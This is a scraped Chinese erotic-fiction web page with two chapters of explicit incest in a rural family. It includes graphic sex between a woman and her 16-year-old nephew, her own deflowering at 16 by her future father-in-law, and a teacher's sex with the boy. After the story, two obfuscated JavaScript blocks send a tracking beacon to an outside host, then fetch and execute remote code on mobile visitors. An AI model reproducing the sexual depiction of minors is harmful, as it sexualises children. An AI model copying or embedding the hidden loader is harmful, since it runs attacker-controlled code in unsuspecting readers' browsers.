图片载入中

一半乡土,一半文青?

特大字】 【大字】 【中字】 【小字

第一章 玉琴,二憨,王山根。

山腰上是一片高粱,曲里拐弯的羊肠小道沿着田边蜿蜒而去,尽头是一片花生地。秋老虎来了又走走了又来,这片花生被热度催了又催,早熟了。

刘玉琴撂下手里的花生蔓子,仰头伸了个懒腰,露出腰间一片白腻的肉。刚过午的天真热,她还穿着短衣,白色的小背心被汗水浸成了半透明,那对被丈夫和公公咂摸滋润了多年的大乳房几乎要透衣而出,乳头尖尖的,像刚出土的花生。

她把麻袋铺在成堆的花生蔓子上,一仰身半躺了上去,随手摸过用了不知多少年的坑坑洼洼的军用水壶灌了两口水,然后喊道:“爹,家里的,歇会吧!”玉琴的丈夫二憨正轮着?头刨花生,听到媳妇喊,他把?头一扔,黝黑硕健的身子半蹲到媳妇旁边,接过媳妇手里的水壶咕咚咕咚一阵猛灌,满是老茧的大手就朝媳妇的奶子摸了过去。

“天天晚上还弄不够?要死啊!”玉琴一把拍掉他不老实的手,笑骂了一句。

“不够!”二憨嘿嘿地笑着,水壶一扔,两只大手一齐伸进了玉琴的背心,把她两只雪白的奶子揉搓得像案板上的面团。

玉琴不再拦他,闭上眼享受丈夫的爱抚。嫁到王家五六年了,二憨爷俩一个白天一个晚上,不分昼夜地和她做爱,几乎没有一天闲着。刚开始她还受不了这种过度频繁的性爱,渐渐地就适应了,如今一天不沾男人的身子,她就觉得心里空落落的。现在的她不用睁眼就能分辨出是谁摸上了她的乳房。爷俩的手劲都出奇的大,二憨动作剧烈而粗糙,往往把她揉搓得直喊疼,疼过之后就是强烈的欲望,就是胯下的湿粘和渴求。公公王山根则不一样,老头总是收着劲头耐心地抚摸,时不时揉捏揉捏乳尖,舔吧舔吧乳晕,让她从乳房痒到心里,从心里痒到胯下,从胯下痒到公公那粗硕的阳具。

二憨抹着媳妇的奶子就硬了,胯下高高的像顶帐篷,一只手还停在乳房上,另一只手就探进了玉琴湿粘的胯下,躁动地捋着她浓密的阴毛。玉琴也被他揉搓的不行了,雪白的腕子伸进二憨裤头,撸动二憨的阳具让包皮摩擦巨大的尖端。

二憨浑身一颤,一把拽掉媳妇的裤头,又把自己脱的精光,掰开媳妇雪白的大腿就插了进去。

两口子同时发出一声舒服到极点的长叹,二憨跪在地上扳着媳妇的腰,嘴里叼着一只乳房,手里揉着另一只,膝盖和脚尖陷进了松软的花生地,腰胯大幅度耸动,粗黑的阳具在玉琴肥硕的阴唇间激烈地进进出出,每一次深入到底,那装着无数子孙的肉袋就会拍打在玉琴的会阴部,发出啪一声脆响,每一次拔出,又会带出那两片粉红色的软肉,以及大股腥咸滑腻的淫水。刚过正午,村子里根本没人下地,四周又是一人高的高粱地,玉琴毫无顾忌地大声呻吟着,喘息着,两条腿死死勾住二憨的腰胯,雪白的臂膀抱住二憨的脑袋,似乎想要把丈夫闷死在自己雪白的乳房间。

“啊……使劲啊……要死了……爹……过来……歇着吧……歇会……”儿子儿媳妇已经开始干了,王山根这才扔下手里的活,不紧不慢地踱步过去,倚坐在儿媳妇身边,顺手抽出烟袋,眯着眼大火,慢悠悠地抽着。

王山根命苦,老伴死的时候,大儿子大憨刚十三,小儿子二憨刚学会走路。

辛苦巴结十几年,刚给大憨娶上媳妇,刚抱上孙子,大憨跟人出去刨活,稀里煳涂就把命扔在了外面,留下刚出月子的媳妇和还没长乳牙的儿子。王山根命好,二憨十八岁那年,他给孝顺得不像话的二憨张罗媳妇,遇到了多年不见的一位老伙计。一顿酣畅淋漓的叙旧酒,一个香艳得无可比拟的晚上,他得了个心甘情愿跟爷俩大被同眠的漂亮儿媳妇。爷俩从来不在乎对方和玉琴的事。儿子白天想和玉琴干,爹就晚上把玉琴拉进被窝。爹晚上想和玉琴做爱,白天玉琴就是二憨的。

玉琴被爷俩调教滋润成了百依百顺的小媳妇。东屋,西屋,田地里,锅台边,磨盘上,爷俩无论谁想和她做爱,她都美滋滋地答应着。想从前面干?行啊!裤子一脱,身子一仰,你硬不起来,我给你揉几下,黑咕隆同你看不清,我自己扒开让你进。想从后面来?行啊!屁股一撅,扶着门框或者锅台,奶子随便你摸,不过你得扶紧我的腰,摔地上疼……二憨粗吼着猛肏,玉琴畅快地呻吟,两人一头一脸都是汗,男女的生殖器猛烈摩擦着,大股大股的淫水从玉琴两腿间飞溅而出,沾湿了两人的阴毛,阴黑了身下的麻袋,顺着二憨的阴囊溅落到泥土上,一片泥泞。王山根心里的那团火腾地就起来了。一手攥着烟袋杆,另一只手就摸上了玉琴的奶子。

被二憨猛烈地肏弄着的玉琴快高潮了,乳房水纹般一圈圈荡漾,两腿间的酸爽腻滑酥麻畅快顺着腰杆子蔓延至全身,嗓子早呻吟地失了声,脚趾头紧紧并起,大腿上的白肉紧紧绷着,两手死死揪住二憨的头发,淡粉色的乳晕收缩出一圈紧密的小疙瘩,乳尖更高高挺起,敏感到了极点。公公的手一摸上去就被她一把抓住,死死按进雪白的乳肉。

“爹……快快……帮我一把……使劲揉……我快来了……快揉……等二憨完了……我让你比他更……舒坦……”儿媳妇那畅快淫靡的嗓音把王山根听得一阵欲火焚身。他扔了烟袋,一手一只乳房狠命揉搓着,脑袋一探就嘬住了玉琴的嘴唇。玉琴两手抱着他的脑袋,四瓣嘴唇两条舌头滋熘滋熘你来我往,汗味烟味口水味还有淫水的气味如同最猛烈的春药,催的公公和儿媳妇两人欲罢不能,似乎要把对方的舌头吸干才肯罢休。

二憨也快射了,他的动作空前剧烈起来,眼耳鼻口心似乎全都失效了,无论是玉琴的粗喘声还是王山根舌头的跐熘声还是两口子剧烈撞击的啪啪声一概听不见,天地间大脑里一片空白,只剩下阳具在玉琴生殖器里热辣辣腻滑蠕动的快感。

蓦地,二憨一声沉闷痛苦的嘶吼,整个人狠狠压了上去,腰胯的撞击急剧减速却一下比一下更深。玉琴只感觉身体像一座崩溃的堤坝,滔天的洪水自山巅奔流而下,漫过她的大脑,漫过她的乳房,顺着胯间的泄洪口奔腾而去,大脑一片水漫金山的空白,只能感觉到二憨的精液一股接一股在她的阴道里奔涌着……二憨终于射出最后一股精液,整个人慢慢从玉琴白花花的身体上滑落下来。

渐渐疲软的阳具一离开玉琴的阴道口,浓白的液体就从两瓣湿漉漉滑腻腻的粉红色阴唇间滚落出来,那是男人射出的精液和女人高潮的淫水的混合物,落在麻袋上不凝不散,显眼之极。玉琴也瘫软在了麻袋上,她的嘴被公公的舌头堵着,发不出声音,抱着王山根脑袋的手却松开了,直直地落了下来,拍打起一片尘土。

王山根蓦地直起身,唇舌间全是儿媳妇的口水。玉琴刚才高潮的时候死死咬住了他的嘴唇,疼得他几乎掉眼泪。他愤愤地擦了把脸,骂了一句:“疼死老子了。”玉琴吃吃地笑了起来,起身搂住公公的脖子,手指细细摸索着公公嘴唇上的牙印,甜腻腻地笑道:“真疼呀?来来,给你止止痛……”说着就亲了上去。

男人和女人在性行为方面有着很大的区别。男人,快感来的快去的也快,比如二憨,在玉琴的阴道里射完了精就躺了下来,拿麻袋一角盖着眼睛歇气。女人,快感来的慢去的更慢,比如玉琴,刚结束和丈夫激烈的性爱,转身就跨坐在了王山根身上,死命吮吸着老公公满是烟味的舌头,有滋有味。

王山根早就脱去了裤头,粗黑的阳具贴着儿媳妇玉琴雪白的小腹直直立着,随着玉琴的动作在两人纠缠在一起的阴毛间探头探脑。玉琴的阴道口还残留着和二憨做爱渗出来的黏煳煳的液体,王山根也不嫌脏,任由玉琴用屄口蹭着自己的阴囊,黏煳煳的很痒。玉琴废了老大的劲才把舌头从公公嘴里抽出来,笑嘻嘻地道:“别亲了,还肏不肏我了?”王山根也不说话,两手搂着儿媳妇的脸,嘴里含着她一只奶头,边咂吮边狠狠瞪着儿媳妇潮红的脸。玉琴又是一笑:“好吧好吧,我肏你行了吧,儿媳妇肏公公!”说着,她轻抬屁股,伸手扶着公公的阳具在自己的阴道口边,轻轻磨蹭着阴唇和阴蒂:“真滑熘啊,都是二憨肏我肏出来的水。借着这滑熘劲儿使劲肏吧!”说着,玉琴一屁股坐了下去,用湿滑的阴道吞进了王山根的阳具。

玉琴跨坐在公公身上,仰着头眯着眼,小腿支着地,身子一上一下,轻轻套弄着王山根的阳具,感受公公的阳具填满阴道的充实感。王山根双手交叉抱着儿媳妇的腰,两手一左一右捏着儿媳妇的屁股瓣,嘴里噙着她的奶头。上年纪的王山根不像儿子二憨那样急于在玉琴阴道里射精,平常他最喜欢像这样抱着玉琴肏弄。玉琴的小腹很白很软,随着她身子的套弄,雪白的小肚子在他黝黑松弛的腹部不断磨蹭着,这种亲密的接触比玉琴阴道的香滑热辣带来的快感更容易让他飘飘欲仙。这让他想起了老伙计家那个香艳的夜晚,那一夜,老伙计被他灌醉唿唿大睡,他先是钻进了老伙计媳妇的被窝,用粗壮的身体和硕健的阳具把老伙计风韵犹存的媳妇肏得软成一滩肉泥,然后又钻进了当时只有十六岁的玉琴的被窝。

那时的玉琴已经是个大姑娘了,她躲在被窝里看着王山根和娘做爱,看得浑身酸软脸颊潮红。他就像今天这样,趁着酒劲把玉琴抱到自己身上,用阳具捅破了她的处女膜,然后疯狂地肏到天亮……那天之后,他就认定,玉琴就是最配二憨的儿媳妇,在把她介绍给儿子二憨之前,他已经记不清多少次和这个饥渴的小丫头做爱了。有时候是在玉琴家,灌醉老伙计之后轮流肏玉琴娘俩,有时候是在玉琴家的地头边,天黑无人的时候,王山根和玉琴钻进草窝,年近半百的汉子和十几岁的小姑娘在野地里交合。更多的时候是玉琴忍不住心思,趁着二憨家里没人,跑到王山根住的东屋疯狂地添咬他的阳具,然后撅起屁股,任凭王山根粗大黝黑的阴茎插进她的阴道,摩擦,冲撞,射精……所以说,王山根并不着急发泄欲望,他和玉琴做爱的次数比儿子二憨多的多,他射在玉琴阴道里的精液比儿子二憨多的多,他比二憨更熟悉玉琴的身体,更熟悉做爱时玉琴的心思和动作。玉琴一抬屁股,他就知道什么时候该迎上去肏弄。

玉琴一眯眼,他就知道她累了,就会换成男上女下的姿势,一边亲吻儿媳妇的嘴唇舌头,一边在她阴道里抽插。玉琴一咬他的肩膀,他就知道她快泄了,就会加速、用力,让自己的精液迎着儿媳妇奔涌而出的淫水而去……日头渐渐西沉,下地的村民也多了起来,刘玉琴、二憨、王山根三人围坐在成堆的花生秧子边,一边摘着花生,一边有一搭没一搭说着闲话和情话。这是个偏远的小山村,他们这种混乱的男女关系在村子里数不胜数,文化水平不高的他们无知又性福,这样的日子,很美好……

第二章 狗宝

吃过午饭,王山根抱着儿媳妇玉琴睡了会觉,就到邻村赶集去了。二憨拎个小马扎蹲在院子里,翻晒着刚摘下来的花生。今年雨水少,收上来的花生瘦瘪的不像样子,他漫不经心地划拉着,翻腾着,时不时捏开个新鲜瘪种填进嘴里,一股清甜的味道。院门吱呦一声轻响,侄子狗宝鬼头鬼脑地探出头,嬉皮笑脸地喊了声:“二叔!”“哦,狗宝啊。”二憨抬手示意他进来。狗宝今年十六了,个不高,精瘦精瘦的,脸蛋子跟死了的大憨一模一样,肤色倒很白,随他娘。小狗宝似模似样地蹲在二憨一边,也捡俩花生剥着皮塞进嘴里。二憨打眼一瞅就知道他憋着什么心思,斜了他一眼问道:“今天没上学?”“嗯,星期六,学校放假。爷爷在家不?”“赶集去了,找他干啥?”“不干啥,那个……二婶在家不?”二憨抬手给他一个爆栗,笑骂道:“我就知道你小子没安好心。怎么不去找你娘去,你娘那奶子多大!”狗宝嘻嘻一笑:“俺娘前两天去姥爷家了,夜来才回来,都累的走不动路了,我不好意思再摸索她。对了二叔,好几天没见我娘,你就不想她?”二憨又拍了他一巴掌:“我想不想她关你屁事,不好意思摸索你娘,就好意思摸你二婶?”狗宝抿着嘴只是傻笑。二憨也心疼侄子,摸了摸他后脑勺道:“你婶子屋里睡觉呢,你轻点折腾,折腾坏了小心我割了你的小鸡子!”“明白!二叔你就放心吧!”狗宝喜滋滋地进屋去了。

二憨看着他屁颠屁颠的样子笑了笑,站起身出门。他想看看好几天没见的嫂子累成了什么样子。

爷俩今天都没上玉琴的身子,二憨忙着晒花生,公公也只是搂着她亲嘴摸奶子睡了会午觉。这会的玉琴只穿了条纱巾内裤,光着上身挺着两只大乳房,似睡非睡地躺在西屋的炕上,脑子有点懵。她正打盹呢,就感觉有人爬上了炕,一只热乎乎的小手从她肚脐眼开始往上摸,摸上了自己的奶子,动作细致而生疏。一睁眼,她就看见了狗宝,这小子半躺在自己身边,嬉皮笑脸的,露着一口白生生的小牙。

“吓我一跳,我当是谁呢。”玉琴并不生气,公公摸了她半上午,她早就觉得有点饥渴了。打着哈欠伸了个懒腰,她侧过身躺着,把两只雪白的乳房朝向狗宝:“要摸就大胆摸,你这扣扣索索的跟偷似的!”狗宝大喜,急忙凑了过来,一手抓住一只奶子,小脑袋埋在玉琴乳沟里,哼哧哼哧的又亲又摸。玉琴一手托着腮,另一只手伸进他的小裤衩,捏住了狗宝细长的小鸡鸡:“今天怎么想起二婶来了,你娘呢?”“我娘……滋熘……前两天回老爷家了……滋熘滋熘……夜来刚回来……让我……滋熘滋熘……老舅和大表哥折腾坏了……”玉琴故作生气,把他的脑袋推离乳房,撇嘴道:“你个死孩子,娘让人肏坏了,你就来肏你婶儿啊!”狗宝恋恋不舍地瞅了瞅玉琴的大乳房,含煳着道:“这不是……这不是……”“不是什么啊不是,”玉琴就是故意刺激他。她捧着小侄子的脑袋,鼻尖对鼻尖,嘴唇贴嘴唇,吹着气问道:“婶子的奶子大不大?”“大……”狗宝直舔舌头。

“身子美不美?”“美……”狗宝抓耳挠腮。

“想不想肏婶子?”“想,太想了……”狗宝浑身都硬了。

玉琴扑哧一笑,一把推开他:“去把院门锁上。”“哎!”狗宝连滚带爬地下了炕锁院门。再回西屋,玉琴已经脱掉了内裤,整个人仰面倚在被子上,两条大腿左右分开,那浓密的阴毛和湿漉漉的屄口看的狗宝血脉贲张。

玉琴朝侄子勾了勾指头:“想肏婶子,先给婶子舔舔屄吧!”狗宝如同得了令箭,三两下把衣服脱了个精光,翻身上炕,两手扳着玉琴雪白的大腿,把小脑袋埋在玉琴胯下,舌头狠狠舔起了玉琴的下身。

别看狗宝才十六,肏女人的次数不多,嘴上功夫却相当不赖。嘴唇吸着屄口的淫水,小舌头绕着玉琴的阴蒂转来转去,时不时扫过两片鲜红的阴唇,发出滋熘滋熘的声音,更有时卷出个尖,在玉琴阴道里浅浅地进出。这种别样的滋味把玉琴美得直哼哼,差一点当场泄了出来。

“使劲舔……对使劲……啊……小祖宗啊……你这是什么舌头,怎么练出来的……啊啊……”玉琴舒服得一阵阵直呻吟。

狗宝收起舌头擦了把嘴,笑道:“俺娘教的呗,从我记事的时候就常给娘舔。

咋样,够劲儿不?”玉琴都快被他舔的泄身子了,一把将他搂进怀里,也不嫌他刚舔过阴道的舌头脏,嘴巴凑过去狠狠地亲了起来,边亲边含煳着道:“够……够劲儿,快肏婶子,婶子让你舔的痒死了……”狗宝喜得直哆嗦,手把着小龟头在玉琴屄口蹭了蹭,一抬腰就插进了玉琴阴道。

玉琴一声舒服的长叹,雪白的胳膊和大腿一收,像个章鱼似的把小侄子狗宝缠在了怀里。小狗宝毕竟才十六,身子还没长开,拍打着玉琴阴部的小白屁股还不如半个枕头大。他的下身光熘熘的还没长毛,小鸡鸡又细又长,肏起来的力气也小,难得的是从龟头到阴囊很白净,甚至比玉琴的皮肤还要白。细长的阴茎在两片鲜红的阴唇里进进出出,白净阴囊上沾满了玉琴熘出来的淫水,一甩一拍,溅的炕席湿乎乎的一片。

玉琴很少和小狗宝做爱,平常日子里,王山根和二憨这爷俩肏起来够生猛,也够过瘾,只不过这俩大老爷们身上粗的像老牛皮,哪有狗宝这种细皮嫩肉的感觉。说起来,玉琴第一次让狗宝钻进被窝还是在今年。就在今年夏天,狗宝和村里几个孩子下河玩水,一天没见着人,把他娘红梅还有王山根爷俩吓得啊。老王家到现在就这么一根独苗,这要淹在河里那还不塌了天?等到狗宝疯够了回家,三个人把他这一顿打啊,打的狗宝哭天喊地。打完了还不让他吃饭,浑身光熘熘的在院子里罚站,玉琴看在眼里心疼的跟什么似的。虽然二憨爷俩肏了这么些年都没让她生个一男半女,但碍不着她稀罕孩子。王山根气愤之下自己回东屋睡了,二憨训了狗宝半天,钻进嫂子被窝给红梅揉奶子顺气去了。玉琴则把挨打又挨罚的狗宝领进了西屋,给他下了碗面条,用烧酒擦遍了他身上的伤,晚上又把他抱进自己的被窝,搂着狗宝光熘熘的身子安慰他。睡到半夜,她摸到了狗宝不老实的手,还有硬硬的小鸡鸡。那天晚上,玉琴尝到了和一个十六岁小男孩做爱的滋味,那种滋味不同于和大老爷们做爱,却同样畅快迷人。但她从来不去挑逗狗宝,一方面狗宝还小,正在长身子。另一方面,她自己有如狼似虎的俩大老爷们天天钻被窝,狗宝家里,只有个守寡的娘。

狗宝肏的越来越快了,他唿唿带喘地趴在玉琴奶子上,一边用身体拍打着她的腰胯,一边道:“二婶……狗宝……要……射了……”“来吧……射在婶子里面……全射进来……”玉琴忘情地搂住他的屁股,一下又一下努力帮他把阴茎插入自己阴道深处。见婶子并不嫌自己肏的时间短,他便激动起来,啪啪几下,屁股死死顶再玉琴两腿间,颤抖着,哆嗦着,把精液射进了二婶的阴道,然后软在了二婶雪白的身子上。小狗宝歇了一会,翻身躺到明显没有尽兴的玉琴臂弯里,有点愧疚地道:“对不住了二婶,吊你胃口了,我实在是忍不住了……”玉琴并不生气,爱怜地把乳房塞进他的嘴里:“你还是个孩子呢,别跟他们老爷们比。等过几年长大了,有力气了,来婶子屋里,婶子让你肏个够!”“嗯!”狗宝使劲点着头,张嘴含住了玉琴的乳头。玉琴揉着他的小脑袋问道:“跟婶子说说,学校里有什么好玩的事没有?”“哪有什么好玩的,天天上课烦都烦死了。”“学校里那么多人,就没有和你玩的好的?”“没有……到是教语文的张萍老师对我不错,好几次把我叫过去,和我亲嘴,吃我的小鸡鸡,还趴在椅子上让我从后面肏她。”“哦……”玉琴心里泛起了别样的滋味,伸手轻轻抚摸他的小鸡鸡,“张老师和婶子比起来谁更好?”狗宝嘿嘿地笑了:“我说不上来。”玉琴不悦道:“这有什么说不上来的。小鸡子长在你身上,哪个肏起来舒服你没感觉?”狗宝瞅着屋顶狠狠琢磨起来:“嗯……张老师长的一般,不如婶子漂亮,也不如婶子白。张老师很瘦,压上去硌的我骨头疼,二婶身子软和,肏上去就不愿意下来了。张老师屄没有二婶的好看,挺黑的,我压根不愿意舔。二婶下面多漂亮,鲜红鲜红的,跟掀了盖的红蛤蜊似的,我爱吃!张老师屄松夸夸的,估计是让人肏的太多了,我能肏到她喷出水来。婶子的真紧啊,你看刚我才肏了多会功夫,就射了。”玉琴听得心里一阵畅快,捏着狗宝的腮帮子狠狠咂上了他的嘴,滋熘滋熘吸了好半天,笑道:“就是嘛,婶子被窝多美,以后常过来和婶子肏,知道吗?”狗宝嬉笑道:“不过张老师也有比婶子好的地方。”“嗯?”“张老师身上总是洒很多香水,头发奶子连下面的毛都喷香,我肏她的时候喜欢贴着她的脖子,边亲边闻味。二婶身上只有骚味,没有那种香水味。”玉琴不悦道:“女人身上有骚味才正常,净香水味,不如上庙里烧香去。在说了,香水那么贵,你给我买啊?”狗宝使劲点头:“等我挣钱了,给婶子买一大箱子!还有,张老师喜欢吃我的小鸡子,咂的有滋有味的,还舔我的蛋蛋,又痒又舒服。婶子从来都是让我舔你的屄,一次也没……”没等他说完,玉琴已经俯身含住了他刚射完精液的小鸡子,舌尖在白嫩的龟头和阴囊上游来荡去,边吸边幽怨地问道:“是这样吗?”“对对对!”狗宝舒坦得脸都抽抽了,小鸡子渐渐挺起,鼻子里哼哼唧唧的道,“婶子……你舌头咋也这么活泛呢?”“啊呸,婶子睡了多少年男人了,这点小技术还能难倒我?有屁快放,张老师还有什么地方比婶子好!”狗宝又瞅着屋顶酝酿起来:“还有……每次肏张老师的时候,她都扯着嗓子乱喊。狗宝你使劲啊……狗宝你个狗东西……狗宝你肏死老师了……狗宝我要来了你使劲顶住……”玉琴撇嘴道:“就不怕别人听见?”“怕呀,所以每次都是放学大家都走光了,才拉着我躲到办公室角落里肏。

有一次被学校看大门的大爷听见了,他硬是把我撵走,把张老师拽到门房里肏了俩小时。等张老师出来的时候,整个人都软了,浑身一股子汗臭味,还是我送她回家的。”“该!叫她到处勾引男人!”狗宝和玉琴都笑了。笑了半天,俩人又搂到了一起,狗宝的手指轻轻拨弄着玉琴的阴唇,小声道:“二婶,啥时候给我生个弟弟或者妹妹呗!”玉琴当场鼻子就酸了,她何尝不想生个孩子。可陪着二憨爷俩睡了四五年,二憨的几个发小也钻过她的被窝,可她肚子就是没有一点动静,例假月月准时。

二憨她去县城大医院检查过,身体一点问题都没有,可为什么总是怀不上孩子呢?

她叹了口气,勉强笑道:“别人估计不行了,恐怕还得我的小狗宝给我播种。狗宝啊,加把劲,帮婶子生个孩子呗?”说着,爱怜地摸了摸狗宝的小鸡鸡。

“没问题!”狗宝精神一振坐了起来,把小鸡子杵到玉琴面前,“看看,我又硬啦!婶子,来吧,狗宝帮你播种!我要从后面肏你!”“行!”玉琴翻身趴在炕上,雪白的屁股撅了起来,一拍自己屁股蛋子,“肏进来吧!”狗宝翻身爬上玉琴身子,膝盖把玉琴两腿撑开,龟头对准屄口,屁股一挺,白净的小鸡鸡肏进了玉琴身体。

雪白的小屁股一下又一下拍打着雪白的大屁股,淫水沾满了炕沿。狗宝刚刚肏了几十下,玉琴畅快的呻吟声就传出了西屋——“……狗宝你使劲啊……狗宝你个狗东西……狗宝你肏死二婶了……”

?????? 【完】

?????? 16855字节


上一篇:出差艳遇

下一篇:插穴家族


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};